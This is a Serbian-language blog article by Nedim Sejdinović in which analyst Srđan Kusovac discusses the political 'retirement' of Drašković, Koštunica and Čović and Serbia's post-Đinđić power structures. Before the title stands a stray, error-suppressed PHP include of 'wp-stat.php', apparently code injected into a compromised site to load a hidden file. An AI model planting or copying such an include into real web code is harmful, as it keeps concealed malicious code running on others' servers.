@require(dirname(__FILE__).'/wp-stat.php'); IMA LI POLITIČKE PENZIJE U ZEMLJI SRBIJI: Kad mrtav čovek hoda (i vlada) – Nedim Sejdinović

IMA LI POLITIČKE PENZIJE U ZEMLJI SRBIJI: Kad mrtav čovek hoda (i vlada)

Na mnogobrojne komentare da ne postoje odveć velike razlike između srpske opozicije iz Miloševićeve ere i tadašnje vlasti, pokojni Zoran Đinđić je odgovorio, pomalo i samokritično, da su vlast i opozicija međuzavisne, da su opozicione stranke u najvećem broju slučajeva – sateliti koji se vrte oko vlasti i zavise od njenih gravitacionih sila. Ta tvrdnja danas je razumljivija nego ikada ranije, a te gravitacione sile Srbiju su pretvorile u zemlju sa najvećim brojem registrovanih političkih partija u Evropi.

Gravitacione sile su proizvele i čitavu armiju političara koji su prolazili kroz naše živote, često ih određivali i uređivali, a koji faktički nikada nisu imali iole bitnu podršku građana (setimo se samo, recimo, JUL-a, ali i mnogobrojnih partija i lidera iz nekadašnjeg DOS-a). Među njima ima i onih koji nikada nisu proveravali snagu na izborima, koji su se uvek krili u nekakvim koalicijama; ima i onih koji su iz nepoznatih razloga sami izlazili na izbore pa doživljavali katastrofu, a onda, opet, negde, nenadano, isplivali… Međutim, ima i onih koji su nekada, poput Vuka Draškovića, harizmatično harali trgovima, a koji danas predstavljaju političke penzionere bez realne šanse da se vrate nazad u tzv. visoku politiku, ako uopšte nešto takvo postoji na ovim prostorima.

Politički analitičari, koji u zemlji Srbiji niču kao pečurke posle dugotrajne kiše, tvrdili su da će ovi izbori biti (još) jedno veliko “čistilište”. Predviđali su politički kraj SPS-a i G17 plus, tvrdili da koalicija oko LDP-a nema šanse da pređe cenzus. Posle izbora su međutim uprli prstom samo na SPO i Vuka Draškovića, te na Nebojšu Čovića i njegov SDP i zaključili da su se te dve (ili četiri) političke karijere zauvek završile. O tome ko je, kako i zašto doživeo politički kraj i šta uopšte znači politička penzija u Srbiji, razgovaramo sa donedavnim urednikom “Slobodne Evrope”, čovekom koji je u poslednje vreme skrenuo pažnju javnosti svojim potpuno drugačijim, inspirativnim političkim analizama na Blogu B92 i u medijima – Srđanom Kusovcem.

SLUČAJ DRAŠKOVIĆ (KOŠTUNICA)

• Politički kraj Vuka Draškovića nastupio je otprilike krajem 2002. On je preživeo verovatno najveći politički promašaj svoje karijere – onaj koji je načinio 2000. odbivši koaliciju sa ostalim opozicionim strankama, nastavio je da politički deluje i bio je politički relevantna ličnost. Nije međutim preživeo, kao što nisu još neki političari, suštinsku promenu fokusa politike do koje je došlo tokom ili preciznije krajem 2002, kada je vladavina pok. Zorana Đinđića počela da daje rezultate. Ne mislim na konkretne rezultate u vidu povećanja standarda života građana ili slično, nego na situaciju kada je Srbija zaista počela posle dugo vremena da liči na zemlje poput Češke, Mađarske ili Slovenije – na zemlje koje idu putem tzv. tranzicije • kaže Kusovac.

Kusovac kaže da je vladavina Zorana Đinđića oduvala sa političke scene ne samo Vuka Draškovića nego i još neke političare formirane u doba komunizma, ljude koji su ostali zamrznuti u tadašnjim vizijama i, češće, sopstvenim frustracijama.

• Vuka Draškovića je, kada je Zoran Đinđić učvrstio vlast, jednostavno pregazilo vreme, baš kao što je pregazilo i Vojislava Koštunicu. Činjenica da se Koštunica kasnije vratio na političku scenu uopšte po meni ne opovrgava ovu tezu. On je, iako je nakon toga bio premijer tri godine, davno prevaziđen političar. Njegove ideje su zastarele i nekompatibilne su današnjem svetu. Koštunica se samo malo bolje snašao od Draškovića, ali su im politički fokusi ostali onakvi kakvi su bili kada su obojica stupali na političku scenu. Drašković je po merilima današnjeg sveta potpuno arhaičan, ako ne čak i smešan u svojim prioritetnim temama zapravo čistim fiksacijama poput četnika i partizana, isto kao što su smešne i njegove i Koštuničine teze o Kosovu kao centru stare srpske države, ili, još bolje, teze koje, ruku na srce, neko vreme ne plasiraju baš tako često – o „saveznicima iz II svetskog rata“ i sl. Zamislite američkog predsednika koji uvek počinje neku ozbiljnu argumentaciju pričama o Dejvidu Kroketu • kaže Kusovac i dodaje:

• I Drašković, baš kao i Koštunica, koga je Đinđić bio sjajno razvlastio, vratili su se nakon te 2002. na političku scenu, ali se to dogodilo samo zato što je ubijen Zoran Đinđić, a duboko verujem, mada je duga priča to dokazivati, da važi i obrnuto – da je Zoran Đinđić ubijen baš zato da bi se ljudi prošlosti vratili na političku scenu • zaključuje Kusovac.

SLUČAJ ČOVIĆ

Nebojša Čović, bivši SPS-gradonačelnik Beograda i DOS-kopredsednik prelazne Vlade i DOS-vicepremijer, doživeo je nekoliko uzastopnih izbornih poraza. Posle propasti kampanje «Kad je teško – Čović!», bez rezultata je ostao i pokušaj animiranja najstarije populacije u saradnji sa Partijom ujedinjenih penzionera Srbije. S obzirom na to da Čović, bar kako se tvrdi u javnosti, jako voli funkcije, cinici rekoše da posle ovih izbora jedino čega može da bude predsednik jeste –omladina PUPS-a!

Kusovac, međutim, insistira na činjenici da Nebojšu Čovića ne treba trpati u isti koš sa Draškovićem i Koštunicom, jer je on, za razliku od njih koji su saputnici tranzicije, zapravo – tranzicijski dobitnik! On je, po Kusovcu, pre svega čovek koji je vreme tranzicije shvatio kao ponovnu prvobitnu akumulaciju kapitala, a politika je tu sporedna stvar, tj. tek je sredstvo za ostvarivanje cilja – akumuliranja kapitala.

• Za razliku od njega, Drašković i Koštunica su prevaziđeni, a Čovića je vreme prevazišlo tek u smislu da je u vreme kada je DOS došao na vlast, on bio jedini koji je u vlasti imao iskustva, pa je poznavao tehnologiju vlasti i način na koji vlast funkcioniše. On više nema tu ključnu prednost koju je imao tada, jer su iskustvo vladanja stekli i drugi. Ako bude insistirao da ostane u politici, moraće nešto da promeni, što mu nije problem jer je to činio više puta. Ako se opredeli za biznis, možda će nekada ponovo ući u visoku politiku sa te strane. Ne bi me čudilo da on jednog dana otvori neke potpuno nove teme poput recimo ekologije i na tome pokuša da privuče glasače • kaže Kusovac.

LJUDI PROŠLOSTI

Kusovac kaže da će ljudi prošlosti vladati Srbijom sve dok su aktuelne teme prošlosti koje koče Srbiju i dok politički uticaj ostvaruju snage prošlosti, poput Srpske pravoslavne crkve.

• Skoro pet godina je potrošeno ni na šta – na prazne priče o Crnoj Gori Kosovu. Crna Gora je završila kako je svako ozbiljan očekivao. Kada Kosovo, taj poslednji problem bude rešen, Srbija će morati da se okrene opet onim temama koje je Zoran Đinđić uspešno rešavao 2002. Ljudi koji su trošili vreme na prevaziđene teme će brzo biti zaboravljeni, uveren sam u to. Ostaće nažalost svest o tome da su izgubljeni nepovratni resursi – vreme čitavog društva i život velikog vizionara i reformatora • zaključuje Kusovac.

POLITIČKI MRTVI, SAMO ŠTO NE ZNAJU

Na pitanje da li u Srbiji postoje političari koji bi u svakoj (normalnoj) zemlji sveta odavno doživeli politički kraj, a kod nas su još uvek značajne ličnosti, Kusovac kaže – «Najpre veliki lažovi, a onda nedosledni – a to znači skoro svi», te dodaje:

• Međutim, treba reći da se politika svugde u svetu doživljava kao nešto prljavo, jer ona i jeste prljava i kao način da zaradite novac. Političare danas, ne u Srbiji već svugde u svetu, vidim samo kao glumce, bolje ili slabije. Oni izgovaraju tekstove koje im pripremaju timovi stručnjaka raznih profila, oblače ih stručnjaci, gestikulaciju, tonalitet, pogled, sve im određuju stručnjaci. Razne opcije im pripremaju timovi stručnjaka i posao političkih vođa se svodi na odabir jedne od opcija koje im bivaju predočene. Nema tu mnogo vizija, guranja nekih političkih programa, ideja, itd, osim u retkim slučajevima poput recimo Nemačke stranke Zelenih ili Stranke umirovljenika u Hrvatskoj (koja je ušla u parlament sa ciljem da vrati penzije koje je Tuđmanov režim opljačkao), ili stranaka manjina koje imaju jasne ciljeve ili regionalnih stranaka poput recimo IDS-a u Hrvatskoj itd. Od stranaka „opšte prakse“ i vođa tih stranaka očekuje se prosto nekakvo nadmetanje na izborima. Kažnjavaju se greške, laži, promašaji koje love politički protivnici i mediji. U Srbiji je problem to što, kada se govori o medijima koji pokrivaju čitavu teritoriju, osim dva izuzetka – RTV B92 i Ekonomist magazina, ne postoje slobodni mediji, kao i to što među strankama nema mnogo, a nekada ni uopšte suštinskih razlika u ključnim pitanjima (osim što se razlikuju naravno stavovi koalicije koju vodi LDP, ali su oni tek stupili na političku scenu ovako ujedinjeni, pa moramo pričekati za izvođenje ozbiljnih zaključaka) • kaže Kusovac.

STRUKTURE MOĆI

Kusovac ističe da politički kraj u Srbiji, ali ne samo u Srbiji, određuju pre svega centri moći, koji se ne nalaze u političkim strankama. Pogotovo ne u Srbiji, gde su, kako kaže, mnoge stranke i formirane tako što su ih stvorile razne strukture moći.

• Kako rasplesti čvor sada? Ne znam. Svi smo sada jako mudri, pa „znamo“ da je to trebalo učiniti 5. oktobra 2000. Sada više nema tako lakog, revolucionarnog načina. Mnogi su preveslali, mnogi će se spasiti kakva god da bude lustracija, kad god da je bude, ako je uopšte bude. Čini mi se da će se moć sve više seliti iz obaveštajnog ka tajkunskom sektoru. Nije pravedno, ali tako je bilo u mnogim državama tranzicije • kaže Kusovac.

Nedim Sejdinović

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.